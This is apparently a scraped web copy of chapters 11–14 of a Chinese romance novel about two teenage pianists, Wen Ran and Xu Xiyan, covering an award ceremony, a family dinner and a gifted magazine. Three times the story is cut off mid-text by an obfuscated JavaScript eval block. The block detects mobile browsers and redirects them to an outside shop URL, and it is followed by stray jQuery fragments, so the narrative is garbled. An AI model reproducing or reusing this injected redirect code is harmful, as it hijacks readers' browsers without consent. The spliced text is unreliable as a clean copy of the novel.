“你要是撑不住的话,颁奖仪式结束后,你跟阿姨回家,阿姨熬点益母草给你喝了就好了呀。”柏惠珍远远的一指闻染:“我是闻染妈妈你还记得伐?你们现在是同学了,不用担心阿姨是坏人的呀。”
11. 机会
闻染坐在化妆镜前眼观鼻鼻观心,假意没有留意身后的动静。
直到柏惠珍匆匆走回她身边来,不知从哪里找来个一次性纸杯,一边旋开保温杯往里倒红糖姜茶,一边低声道:“你们两个小囡巧的来,生理期都能碰到一处。”
又扬扬手里的纸杯:“我给她端过去,就回来。”
不一会儿,又转回闻染身边来。
“唉,可怜。”
“可怜什么?”
“看起来家境蛮好的样子,结果都没人管的哦,来大姨妈了就那么可怜兮兮缩在角落,我看了都心疼。你是不懂,家里有钱没钱么不重要的呀,十多岁的女孩子哪能没人管。”
又自顾自的说:“上次她不是说来外公外婆家么?怎么也没看到。”
“妈你不要去随便打听别人的家事。”
“我没有的呀。”
闻染反复摩擦着自己的手指头,有些想问:她把红糖姜茶喝完了么?她好些了么?
但她不是这么热络的性子,问出口又怕柏惠珍起疑。
其实柏惠珍未尝这么敏感,只不过闻染此时的心情,好像突然长出了兔尾巴,她就是那只兔子,自己看不到,但全世界人人都能看到。
一直到颁奖礼。
先颁发的是四到十名,她们被邀上台,站在台上,依次颁了证书和水晶奖杯。
接着她们下台,看第三名、第二名接着是第一名被邀请上台。
闻染坐在柏惠珍身边,带着一点仰视视角,望着舞台灯光下的许汐言。
她不需要酷酷的黑色T恤。不需要马丁短靴。不需要惹眼的红唇。
她就穿着和闻染一样的一身校服站在那里,舞台的灯光就那样蝶化,萦绕在她身边飞舞,人人仰望的视线是她身侧跃动的尘。
柏惠珍搡她一下:“走什么神呢?叫你们一起上台合影呢。”
其实闻染没走神。
她听到主持人刚才说:“请四到十名的选手一同上台合影。”
但她就是坐着,不想动。
跟柏惠珍说:“我肚子疼。”
“啊?严不严重?”
“不严重,但不想走,不想上台合影。”语气突然就有些泄气。
“你这孩子。”柏惠珍笑:“突然撒什么娇?拿到第九诶,成绩不错的,当然一定要上台合影,你看许汐言人家都在坚持。”
闻染很难解释这一刻的心情。
她也很难说老天对她慈悲还是残忍。慈悲的是,到底还是让她踩着十七岁的尾巴,萌发了青春期只此一次的心动。
残忍的是,许汐言像一道阳光照进她的世界,从遇见她的第一刻,闻染就清楚,无论多么用力的跑、用力的追,她都只能远远望见许汐言的一个背影。
如果跟喜欢的人有一次合照的机会,哪怕是颁奖典礼的那种合影,闻染不知其他人会不会开心。
但她只想逃。
许汐言站在人群的中央,她在最边缘的角落。如果她排在左边,那么跟许汐言之间隔三个人的距离,如果她排在右边,那么跟许汐言之间隔四个人的距离。
可这不是三个人或四个人的距离。
是舞台中央的灯光从不会照在她身上。
是她的天赋随着年华渐长而逐渐泯灭。
是她永远都当不了足以与许汐言并肩的那个人。
如果是这样的话,她宁愿离许汐言越远越好。
这也是独属于十七岁的、奇怪又别扭的心思吧。
柏女士叫她:“染染别任性了,一会儿来不及上台,工作人员要来催你啦。”
其实闻染知道这是任性的想法,她也就是跟柏惠珍这么一提,还是站起来向舞台走去。
舞台上并排而站的十个人,只有她和许汐言同样穿着梓育中学白底蓝边的校服,可一个是舞台中央的光耀,一个是角落边缘的黯淡。
闻染站得很靠边,只恨不得淡出画幅才好。
可摄影师在叫她:“扎马尾的那个小姑娘,你往中间站点呀。”
闻染抿了下唇,不得已往中间靠了靠,而就在她来不及摆表情的这时,摄影师咔嚓一声摁下快门。
合影解散,颁奖礼结束。
组委会的准备倒是充分,照片现场就可以打印,闻染和柏惠珍等了会儿,便拿到那张还带着打印机微微温度的合影,像那天闻染在打印店塑封过的出入卡。
柏女士凑过来一看就笑了:“你什么表情呀?”
合影的十个人中,许汐言和闻染是唯二没笑的两个。
许汐言是淡着一张浓颜的脸很有个性,闻染是抿着唇角还没做好表情。
她回答柏女士:“还没准备好。”
这时柏惠珍看到了人群中的许汐言,高高扬起手来冲她招招:“这里这里。”
闻染吓了一跳:“妈你干嘛?”
可许汐言已看到了她们,勾着单肩包向她们这边走来。闻染的脊背又开始冒汗,和方才上台一样下意识就想抿唇,可这样好傻,她不想让许汐言看到,又赶紧放松唇角。
柏惠珍跟她说:“我刚才忘记告诉你了是不是?我看许汐言实在难受,就跟她说,要是实在撑不住就跟我回家,我煮益母草给她喝。”
闻染:……
回家?!
柏女士这是什么级别的社牛啊?
可许汐言已走到她们面前来了,她想阻止也来不及了。
许汐言礼貌的叫了“阿姨好”,又看向她:“嗨。”
“……嗨。”
“染染你刚才不是也说肚子疼吗?要是坚持不住晚自习就不要上了呀,我带你们俩回家,就一起照顾了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14490637|154710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不知是否闻染每次跟许汐言说话时,都会刻意隔得很开,这会儿许汐言也跟她隔大半个人的距离站着,后台挤挤攘攘满是获奖选手、家长和工作人员。
一片复杂交织的气味中,许汐言闻起来像阳光晒过的海洋。
闻染不知其他人会怎么想,如果有一个跟自己喜欢的人一起回自己家的机会。
但她说:“我肚子没有那么疼了,我还是回学校上晚自习。”
柏惠珍笑:“喔唷,你什么时候那么爱学习了?”
闻染只是,本能想逃。
她逃开许汐言的冲动,远远大过她亲近许汐言的冲动。
从一见面,许汐言是阳光,她是浮尘,越靠近,越在反复提示自己的渺小。
于是柏女士带她俩出去打车。
柏惠珍和许汐言走在前面,聊着一些钢琴比赛的情况。
闻染一个人背着包跟在后面,心想:到底谁跟谁才是亲母女啦。
这时,许汐言回了一下头。
闻染一愣,以为许汐言有什么话要说。
可许汐言只是看了她一眼,就又把头转回去了。
许汐言只是,在查看她有没有跟上来。
三人站到演播厅外的路边,很顺利的打到了车,闻染抢到副驾:“我到学校就下车了,我坐这里吧。”
柏女士没觉察有异,和许汐言一同坐到后排。
车开起来,闻染把车窗开了条很小很小的缝,让傍晚的风灌进来,却又不至于吹到后排人的程度。
于是,夏天尾巴的气味。
风的气味。
树的气味。
快要落尽的紫丁香的气味。
和后排左手边许汐言身上的气味一起,不断的搅扰、搅扰,变成独属于那年夏天9月4号的气味。
那天晚上闻染在日记里只写了两个字:「气味。」
写日记就是这样,有很多复杂的心思,当时根本不好意思大书特书,于是模模糊糊的写,格外简练的写,总以为这样含糊的字句,在经年以后再翻开,还能清晰回想起当下。
事实上当闻染很多年后翻开日记本,看着上面一些莫名其妙的词:「768」;「跑跑卡丁车」;「肥皂泡」。
根本不记得当年发生过一些什么。
可是当很多年后她看到「气味」这两个字时,那时许汐言刚刚结束了欧洲的巡演,回国的那天下午,在她不过四十平的出租屋里酣睡。
她听着身后许汐言和缓的呼吸,小小的卧室里尽是许汐言呼吸和体香交叠出的气息。她一个人坐在写字桌前,看着自己当年写在日记本上的字。
她还是能无比清晰的回想起十七岁夏末的那一天,她的马尾被傍晚的风拂得凌乱,而她喜欢的少女坐在她左后方,像一根香,定义了属于她整个青春的味道。
12.少女香
车开到梓育中学门口,闻染没回头的勾着自己书包:“妈那我走了。”
柏惠珍逗她:“真不跟我回家休息了呀?要去上晚自习?”
闻染说:“不了呀。”
她跟柏惠珍说普通话时,会被柏女士的海城普通话也带出一点海城腔。
那时许汐言坐在柏惠珍的旁边想:怎么会有这么软的女孩子。
连说话的腔调都软,像毛绒绒的蒲公英。跟她自己就挺不一样的。
闻染一个人背着书包往校门口走去,回到教室,离晚自习还有那么一小会儿时间,她撕开刚刚从小卖部买的面包。
她喜欢吃面包,从小时候开始,怎么都吃不腻。
陶曼思走到她课桌边来:“下午的颁奖礼怎么样?”
“就那样。”闻染笑笑:“你知道我才第九。”
“许汐言也在?”
“嗯,她第一的嘛。”
“你们有没有聊什么?”
“没有。”闻染也不知在强调什么:“毕竟我们不熟的嘛。”
“看出来啦,说话都隔开那么老远。”
这时晚自习的上课铃打响,陶曼思走回自己的座位,闻染三两口把剩下的面包塞进自己嘴里,包装袋暂且放进课桌抽屉。
看一眼老友的背影,心里生出些愧疚。
她跟陶曼思说的是实情,可还隐瞒了另一半事实是,现在,她们坐在这里上晚自习的此时此刻,许汐言跟着她的妈妈柏惠珍女士,一起回她们家里去了。
……可这话,要怎么说出口嘛!
******
另一边,许汐言跟着柏惠珍一道下了车。
望着眼前红砖墙常青藤的房子:“阿姨你们家好漂亮。”
“漂亮伐?这种弄堂里的老房子就是这样,外面看起来有腔调的,里面旧得不行,又小又挤,你不要嫌弃哦。”
许汐言礼貌的说:“怎么会。”
其实那时候闻染分外不理解,许汐言一个看起来这么有个性的人,怎么会接受柏女士那过分热情的攀谈,甚至,怎会在痛经难忍的那天跟着柏女士回家。
比如她自己,就算痛死,她也不想跟任何一个同学的家长打交道。
要到很多年后她和许汐言成了“合约情人”,她才会发现,因为许汐言是个很孤独的人。
许汐言不寂寞,但许汐言很孤独。
她的生活光鲜亮丽,充满钢琴、巡演、舞台、奖项,还有她一众的兴趣爱好,旅行、出海、赛车,所以她不寂寞。
但她很孤独。她从小生长的别墅太大也太空了,后来一个人租的平层公寓太大也太空了,她置身的舞台太大也太空了。
她一个人在其间流浪、漂浮,无论多么盛大的天赋压阵,也难免显得孤独,所以她本能向往一些温暖的东西。
那天柏惠珍带许汐言回家吃了一顿饭,外婆、舅舅舅妈都很喜欢这个漂亮姑娘。
柏惠珍又给许汐言熬了益母草:“要不你去染染房间睡一会儿,等不那么疼了再走,你这样一个人回去,阿姨不放心的呀。”
柏惠珍就是那种典型在弄堂里成长起来的,没什么边界意识,谁家打架吵架了她也要管,谁家的猫狗走丢了她也要管。
许汐言:“这样太麻烦您了。”
“不麻烦不麻烦。”柏惠珍摆摆手:“反正染染的床单也要换了,你不换衣服就这样上去睡没关系的,我晚上给她换一套就是了。”
“她房间就在二楼,你自己上去吧,我知道你们练琴的小孩,辛苦的呀,觉都不够睡的。”柏惠珍怕她不自在,于是没有跟她一起上去。
许汐言道了谢,上了二楼,顺着柏惠珍说的“左手边第二间”找到了闻染的房间。
开门之前,她掏出手机,看了看时间,先给闻染打了个电话。
******
那时正值晚自习第一节下课,陶曼思坐在闻染的前桌聊天,这时闻染放在课桌抽屉里的手机,贴着空掉的面包包装袋呜呜、呜呜的震了起来。
闻染一看,是一串陌生数字。
她一边对着陶曼思方才的话题轻笑,一边接起来:“喂?”
电话那边传来一声微暗的:“是我。”
有男生打闹着经过闻染身边,把她的课桌撞得歪掉。陶曼思替她扶正,跟他们说:“小心点啦!”
闻染的心也被撞得歪掉了,不是被打闹的男生,是被许汐言那一声:“是我。”
她一下子站起来,捏着手机往教室外面走。
陶曼思问:“阿姨给你打电话?”
她含糊应一声,匆匆来到走廊。
她们的教室在四楼,从这里往楼下眺望,是个不远不近的距离,可以看到一楼侧边的冬青,但看不清枝桠的形状,侧墙上是个圆形的月亮门,路灯很昏黄,有理科班的学生在下面走来走去。
闻染小声问:“许汐言?”
电话那端:“嗯。”
闻染心想,许汐言真是个恣意任性的人,她给一个不知她号码的人打电话,不自我介绍说“我是许汐言”,就说两个字——“是我”。
好像全世界都该认得她许汐言。
事实上她后来的确做到了,成了华人里最有名望的钢琴家,失去了自我介绍的必要,普天之下没人不认得她许汐言。
许汐言声音压得很低,闻染便猜着她还在自己家。
故意调出镇定的语气:“有什么事?”
“你的手机号是你妈妈给我的。”许汐言先这样解释了句:“我喝了她煮的益母草,她想让我在你房间休息一下再走,晚上她给你换床单。可我还是想打个电话先问问你,这样方便么?”
闻染的心被路灯晕开了一片暖黄。
她抠着校服的百褶裙边,很难描述自己那一刻的心情。
有同学在她身后大声谈笑,没有一个人知道她站在这里,跟全校人气最高的女生打着电话。她心想:许汐言真是一个很有礼貌的人,也是一个很好的人。
若理智想想,闻染肯定不好意思让许汐言进她房间的,毕竟她没收拾过。
不知写字桌上有没有散落的面包屑。
周末穿过的裙子就那样搭在椅背上,还好没有内衣和臭袜子。
枕头下藏着她看了一半的漫画书,也不知许汐言躺上去会不会发现。
可她的心随路灯暖黄的光不断晕开,蜷着手指,莫名其妙的说:“好啊,你睡。”
“嗯。”许汐言在那端说:“那谢谢,再见。”
“再见。”闻染挂了电话。
站在走廊里多吹了一分钟的凉风,陶曼思等得无聊,望
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14492514|154710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了眼好友的背影,不明白她挂了电话怎么还不进来。
闻染低头,看着自己手机屏幕的那串数字,点击“储存”。
她根本不想写“许汐言”的名字,那太高调,即便许汐言之后可能也没什么机会给她打电话了。
她想把许汐言的号码存成一个图标。
那时的智能机还不是苹果,不像emoji里面有一个明确的“海浪”图标。联想到许汐言名字里的“汐”,她觉得那是最适合许汐言的。
她在图标里翻找。
最接近的图标,大概就是三滴水构成的“雨”了。没什么强逻辑,总归,都是水嘛。
闻染就这样存下了许汐言的手机号。
******
许汐言获得闻染许可,这才咔哒一声,扭开了闻染的卧室门。
她从来没见过这样的女孩子房间。
特别小,小得像一个精巧的袖珍娃娃屋。她的房间里总是空荡荡的,而闻染不一样,堆得特别满,写字桌上做完手工的碎布头,桌面摆不下堆在衣柜边的书,椅背上层层叠叠搭着裙子T恤,蓝色居多,所以像一朵起伏的海浪。
床单也是蓝色的,阳光晒过,是一片很温暖的海。
许汐言今天的确难受,蜷着背脊躺上去。
枕头上床单上是一种独属于十多岁女孩子的香,很多年后当许汐言和闻染变成了秘密情人,她第一次跟闻染做的时候,闻染白得像在雪里滚过一遍,身上的肉软软的,周身存留的就是这样的香。
因为闻染特别干净也特别安静,没怎么因踏入社会而改变,所以独属于十多岁的香气可以在她身上留存很久很久。
一下子就触发了许汐言的青春回忆。
这时的许汐言还没预知后来的那些,柏女士煮的益母草暖着她的小腹,她很快沉沉睡去,做了一个梦。
一个不太好的梦。
梦里她爸妈在奢阔冰冷的别墅里大打出手,拿那些昂贵的瓷器互相扔来砸去,其中一个抱月瓶向她飞过来。
许汐言醒了,张开眼。
才发现自己躺在一张小而温暖的床上,她拢了拢身上的被子,感觉到闻染身上的香气拥着她。
她醒了会儿神,坐起来,很随意的把长发拨到自己肩后。
站起来走到写字桌边,没翻闻染的东西,只是垂眸看了看她写字桌上的碎布头,也没看出闻染是想要做什么,另外桌面摞着很多的杂志,《知音漫客》、《新干线》、《看电影》。
她想了想,揭开自己的包盖,掏出一本《国家地理》,这是她喜欢的杂志,每期都买。
放到桌面,借了闻染的一张随意贴和笔,简单写了两个字:“送你。”
背起自己的单肩包下楼:“阿姨,谢谢您,我好多了,就先回去了。”
“回去了呀?”柏惠珍正在看着黄金八点档电视剧剥毛豆:“这个点你外公外婆也该回来了吧?阿姨送你。”
“阿姨您留步,今天真的谢谢了。”
柏惠珍也不想给她多添负担:“那你路上慢点呀。”
许汐言独自走出那红砖墙常青藤的小楼,打车。
其实她不住外公外婆家,而是一个人租了一间平层公寓,很大,也很空。
她简单洗了个澡,把自己扔到了灰色床单的大床上。
13.十七岁的杂志
闻染下晚自习回家,柏惠珍一下子站起来:“放学啦?肚子还痛不痛?”
“不痛了。”闻染和每天一样,不露声色的放下书包。
“你的同学回去了。”
“嗯。”闻染猜到了,她估计许汐言也不可能留到这个点。
“你去洗手,记得开热水洗哦。”柏惠珍说着匆匆往厨房走:“我去给你把夜宵端来。”
“妈,怎么又是红糖水?”
“哪里只是红糖水?明明还放了四颗黑芝麻汤圆的嘛。”柏惠珍坐到她对面与她攀谈:“今晚我烧了鱼,你同学说我烧的好吃晓得伐?”
“嗯。”闻染咬破一口汤圆皮子,黑芝麻的内陷流出来。
“你这孩子话怎么这么少?不像你同学,落落大方的。”
舅舅适时用海城话添一句:“长得也老漂亮的。”
今天难得还没睡的外婆:“就是就是。”
闻染听得有些烦,站起来拎着书包:“我回房写作业去了。”
“诶你还剩了两颗汤圆呢。”
“实在吃不下了。”
踩着会唱歌一般的木楼梯咯吱咯吱往楼上走,她又觉得自己隐隐发的那通火有点没来由。
她只是不需要人人都来提醒,许汐言是多优秀的人。
是跟她多不一样的人。
还有就是,她迫不及待的想回自己房间——许汐言待过的房间。
总觉得,在大人面前的许汐言,是“公共”的许汐言。在她房间独自入眠的许汐言,是“私密”的许汐言。
打开门的瞬间,闻染实在没忍住轻轻跺了下脚。
怎么这么乱啊……她这是都被许汐言看到了些什么啊……
莫名有种“裸奔”的心情。
放下书包先看了眼床,那套浅蓝色的床单已经被柏惠珍换掉了,换成了一套深蓝色。藏在枕头下的漫画也被翻出来,放在床头柜。
好在柏惠珍虽然盯她盯得紧,倒不算喜欢骂她,逃过一劫。
她环视一圈。
衣柜的门被里面堆放的被子挤得开了一条缝。
椅背上堆着她还没来得及收拾的夏天的衣服。
窗台上的多肉植物长势不算喜人,只是勉强维生。
许汐言好像,并没有在这里留下什么痕迹。
闻染缓缓吐出一口气,走到写字桌边,眸光一凝。
一本《国家地理》,封面上贴着她淡黄色的随意贴,写着两个笔锋出挑的字:「送你。」
闻染心里一跳,才轻轻揭掉随意贴,把杂志拿起来,拧开台灯细细看。
到现在都还记得,封面上的图片是一处很小众的旅行地,格鲁吉亚的姆茨海塔。
在闻染二十三岁那年,毕业加入「八分音符工作室」,存下了自己人生的第一笔钱后,她送给自己的正式成年礼,便是一次独自一人的出国旅行。
柏女士一边帮她收拾行李,一边嘟哝:“出国玩是好的呀,可是跑到格鲁吉亚干什么啦。”
闻染笑笑:“漂亮呀,我就喜欢这些奇奇怪怪的嘛。”
当她站在依山而建的石头城堡边,抬头仰望着世界上最古老的人类居住遗址之一,而视线再放远一点,便是一望无际的广袤大海。
海风拂着她的长发,没有任何一个人知道,她坐了十小时的飞机,飞过将近六千公里的距离。
不过因为十七岁那年,她收到一本杂志,封面照片上的那处景点,便是这里。
******
第二天一早,下了早自习。
陶曼思问闻染:“去买早饭么?”
“去呀。”
“今天吃食堂还是小卖部?”
“小卖部吧。”闻染笑:“我想吃……”
“面包。”陶曼思接话,与她异口同声说出,两人相视而笑。
这时教室门口有同学喊:“闻染,有人找。”
闻染诧异抬头。
班里人气高的同学,常常有各班同学来找。闻染和陶曼思都不属于这一类,陶曼思稍好一些,毕竟她还有文学社。
陶曼思问:“谁找你?”
闻染摇头:“不知道。”
两人一起走出教室,闻染一看便愣了。
身姿颀长的少女背手站在走廊边,清晨的阳光在她一头几乎可被称作“风情”的长卷发上,涂了层浅浅的蜜。
她是早开的蔷薇,一点不见生涩。
听到身后脚步,她回头,一双浅棕的眸子望向闻染,笑意勾得很淡:“早。”
闻染舌头打结:“早。”
她不是不知道,走廊上不知多少人假意路过,实际是在偷偷看她们。
许汐言问:“吃早饭了么?”
闻染摇头。
“那,一起去买么?”
明明一双黯蓝色的高邦匡威并不特别,为什么被她穿得那样好看。
闻染舌头又打一次结:“那个,我跟朋友约好要一起去了。”
这时身边的陶曼思从背后打了下她的手腕。
若是个性开朗的人,这时一定笑着邀请:“不如我们三个人一起去吧?”
可闻染从来不是开朗的人,她的心思很小也很密,藏在红砖墙常青藤的纹路里,藏在深蓝床单一夜好梦后的褶皱里,藏在日记本深浅不一的字迹里。
许汐言听懂她的婉拒之意,淡淡的笑一笑便走开了。
闻染站在原处,等她背影走远才和陶曼思一同往楼梯走去。
陶曼思问:“干嘛拒绝呀?我们可以一起去买早饭的呀。”
闻染瞥她一眼:“你真想跟一个不太熟的同学一起去买早饭么?”
“我……”
陶曼思是和闻染差不多的性子,都很内敛,不会自来熟。
但陶曼思说:“那可是许汐言。”
闻染的白色匡威鞋尖轻轻蹭着水泥路面:“我知道呀,就因为她是许汐言。”
学校也像一个小小社会,其实每个人被隐形的归属于某个阶级。也曾听到有人议论:“她怎么会跟她做朋友?”“肯定是被一直缠着。”“但,还是有点掉价吧?”
闻染一点不愿被任何人看作她想攀附许汐言。
也一点不想自己扯许汐言的任何后腿。
她宁愿许汐言是她藏在内心最深处的秘密,这样才最干净,也才最纯粹。
两人走到小卖部,远远看到许汐言在排队。
人群中,用“鹤立鸡群”这样的词对其他同学不太尊重,可高挑的少女就是那样出众。
她比闻染她们早到许多,已排队排到了,要了一包厚切吐司,和一包纯牛奶。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497996|154710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一转身,远远的望见了闻染和陶曼思,也许很轻的点了一下头,也许没有。
其他同学都有人作陪,只有许汐言一个人走出食堂。
闻染忽然有那么点不忍心了。
她知道自己的“不忍心”毫无道理,只要许汐言想,什么样的朋友找不到?她这样的行为用后来流行的一句话来说,便是月薪三千的人替年薪过亿的人操心。
可她就是难以抑制的,有那么点不忍心了。
正当她生出一种想叫许汐言的冲动,可许汐言的步子很快,已轻盈的走出食堂外去了。
陶曼思问闻染:“怎么了?”
闻染摇摇头。
晚上放学回家,餐桌上堆着无比精美的水果礼盒。闻染一看就知道这不是她们家的东西。
这很好分辨,只要你从小生长在这样逼仄又热闹的旧宅里。
买完东西后团一团放在角落充当垃圾袋的塑料袋是她们家的。奢侈品纸袋不是她们家的。
炒完后一定不会浪费没吃完便放进冰箱的剩菜是她们家的。米其林大餐不是她们家的。
盥洗室里因年头太久中间那块隐隐发灰的毛巾是她们家的。毛绒绒像猫一样的高织浴巾不是她们家的。
闻染放下书包问:“这是哪来的?”
没想到舅舅放下报纸:“你那个同学,家里噶有钱的伐?”
闻染一愣。
这时柏惠珍正把夜宵给闻染端出来,今晚的夜宵是蒸蛋加面包。舅舅笑言:“二妹,你倒机灵的嘛,我就说你干嘛那么热情把人引到家里来。”
柏惠珍告诉闻染:“这是许汐言找人送到家里来的,我本来不收,可同城快送说他也没办法退的。这么些高档水果要花多少钱啦?要不你去问问她,把这些还给她?”
舅舅一拍报纸:“妇人之见!没见过世面,你没看出她昨天戴的那只表吗?那是劳力士。一个高中女生戴劳力士,啧啧啧。”
“染染啊,别听你妈的,听舅舅跟你说,这个社会就是很现实的,你都高三了,四年后要出社会,你这同学一看家里就有权有势,你要跟她搞好关系的呀。”
“水果没什么好退的,对我们家来说是奢侈品,对人家不值一提的呀。你明天就大大方方去跟她道谢,顺便请她吃饭,好伐?多条人脉不坏的,说不定以后我们家小皓还能仰仗她……”
“舅舅!”
舅舅吓了一跳:“你这孩子,突然这么大声干什么!”
“您这是在说什么呀?”
柏惠珍:“染染,怎么这样跟舅舅说话。”
闻染拎了书包,也没吃宵夜,三两步冲上楼。一直到坐在桌边开始写今晚的作业,一颗心还因气愤而砰砰直跳。
柏惠珍敲敲门,给她端一盘切好的梨进来,坐到她身后的床上。
“我知道你们年轻人交朋友都很单纯,我不是说你舅舅说得对,可他是长辈。”
“他就是势利眼,一直都是。”
“染染。”柏惠珍叹了口气。
“妈,你以后万一在什么比赛见到,不要再对她那么热情了,免得别人误会你又误会我,还说什么人脉,想替她儿子谋出路呢。”
“好,知道了。”柏惠珍站起来,摸一下她的头:“你也别气了,晓得伐?”
替她带上门,出去了。
14.勇气
许汐言这个人有多厉害呢,凭一己之力带火了平平无奇的黯蓝色高邦匡威鞋。
数天之间,学校里无数人穿上了这双鞋。
在闻染婉拒过许汐言一次后,许汐言再也没来找过闻染了。
上了高三,双休变单休。周日下午,闻染陪柏惠珍去超市购物,就当是放风,拎着大大的塑料袋走出超市时,路过一楼的匡威专柜。
闻染的视线落过去,柏惠珍叫女儿:“过去看看呀,高三太苦了,一双布鞋也不贵,买来让自己高兴下么。”
闻染拎着袋子走过去:“先说好,我用我自己攒的零花钱买。”
柏惠珍笑:“好。”
母女俩转了一圈。闻染佯装把每个款式都看了,最终才把视线聚到那双黯蓝色的高邦匡威上。
店员热情迎过来:“要试试伐?”
“麻烦拿一双三七给我试试。”
“好的。”
闻染和柏惠珍一同坐在专柜软软皮料的试鞋凳上,不一会儿,店员捧着黑色纸盒走过来,蹲在她脚边。
闻染赶紧就弯下腰去接她手里的鞋。
高帮的,一排排把过紧的鞋带扯松。
扯第一排,想起初次在学校里见到的黑衣少女,站在香樟树下任凭夏末的风拂过蓬松的长卷发。
扯第二排,想起和陶曼思去上厕所路过五班教室窗外,看着她一手撑着侧脸,望着窗外的自己露出浅浅的笑。
扯第三排,想起她在自己床上睡过的那天,尽管床单已被柏惠珍尽数换过,躺上去的时候还是忍不住把脸埋进枕头里用力去嗅。
扯第四排,想起舅舅那浮夸的语调:“一个高中女生戴劳力士,啧啧啧。”
“这不是蛮好看的吗?”柏惠珍的话把闻染从思绪里拉出来。
闻染垂眸,看着双脚上已穿好的黯蓝色匡威。
她没什么出众的地方,成绩一般般,钢琴一般般,长相一般般,就是皮肤白,看上去很文静的模样,还有手脚纤细,所以少女纤瘦的脚踝被包进匡威的高帮里,的确是好看的。
闻染看了两秒,忽然动手脱掉鞋子,交还给店员:“不好意思,我觉得不太合适。”
站起来拎上袋子:“妈,走了。”
柏惠珍反应过来追上她:“怎么,鞋子不要了啊?”
闻染摇头:“不要了。”
青春期总有许多奇怪的心思。闻染就是忽然觉得,她穿上这双鞋的模样,和校园里其他穿上这双鞋的男生女生,又有什么两样呢?
人人都可以买这双匡威鞋。人人都可以用这样的方式,离太阳一样的许汐言近一点再近一点。
那是众人的许汐言,不是独属于闻染的许汐言。
既然是人人都有的,那么,闻染就不要了。
******
“拜托啦闻染,帮帮忙。”
“可是,为什么找我……”
“你是弹钢琴的啊!手最巧了。”
“……这没什么联系吧。”
“我还记得你高二交的手工作业,也很厉害啊!动手能力很强!”
班长赖在闻染的课桌前软磨硬泡,请闻染代表班级去参加学校的素质教育活动——做手工蜡烛。
陶曼思替她解围:“怎么都高三了还有这些呀,叫高一高二去参加参加好了呀。”
“有什么办法。”班长一摊手:“市里要检查的。拜托啦闻染!”她又转向闻染双手合十:“我请你吃早饭好不好?”
闻染笑笑:“早饭就不用了,我去就是了。”
“谢谢呀!就知道你最好了。”班长拍着胸口,生怕闻染反悔一般飞快的走了。
陶曼思:“你这人的性子也太好说话了。”
“没办法,她找不到其他人嘛。”从小生活在一个大家庭,或许闻染学懂最多的就是“体谅”,总不想其他人太为难。
“而且,”闻染又弯唇:“不是可以正大光明逃掉一节晚自习吗?”
到了晚上,闻染一个人踏出教学楼,往素质楼的方向走去。
不知她有些早还是怎的,一路倒没遇到其他的班级代表与她同行。
走到指定教室,闻染探头一看,里面黑漆漆的,一个人都没有。
闻染揿开墙上的灯,心里略微有点犯嘀咕:没找错地方吧?
将信将疑的走进去,随便找了个靠后的位置坐下。
主要是,她有点怕黑。
小时候身体不好,频频发烧,连肺炎都得了两次。有次她在卧室休息,那时外婆病了,柏女士忙昏了头,还以为她去学校了,匆匆锁了房门便带外婆去了医院。
闻染醒来,天地俱寂,她尝试着唤了一声。
没人应,闻染摸索着爬起来,去揿床头的台灯,却没亮。
原来,停电了。
不知你有没有经历过那样的强对比。从小身边都是暖融融的热闹,忽然只剩你一人,被抛入一片绝对的寂静与黑暗,只剩窗外的树影摇曳,像黑海里的水草一样缠住你手脚。
那时闻染不过六岁,柏女士到了医院忽然想起女儿一个人在家,匆匆赶回来推开门。
闻染没哭没闹,一个人抱着膝盖坐在墙角。
柏女士心疼坏了,过去拉她:“你这孩子,怎么连哭都不知道哭啊?”
不知怎的,闻染就是觉得,哭又怎么样,哭就能摆脱那片缠住人的黑暗了吗。
素质楼不比教学楼,无人使用的教室是不开灯的,闻染一个人坐在这里,心里就有点虚。
不是喜欢与人打交道的人,但听到有脚步向她所坐的教室走来时,她还是由衷开心起来。
一个人影探头进来:“请问……”
闻染一愣。
万万想不到会是许汐言。
像许汐言那么个性的人怎么会参加学校的素质活动啊?五班班长也不敢央到她头上吧?
直到很多年后闻染和许汐言做了秘密情人,她才发现,因为许汐言这个人兴趣是很广的,她拥有横行世间的底气,什么都抓过来填进生活,把自己的人生过得花团锦簇。
她看着许汐言没来由的紧张一下,下意识抿了抿唇。
许汐言看她一眼,嘴里没说完的那半句话没再继续说,走进来,随便捡了个前排的位置坐下。
闻染的心里有点不是滋味。
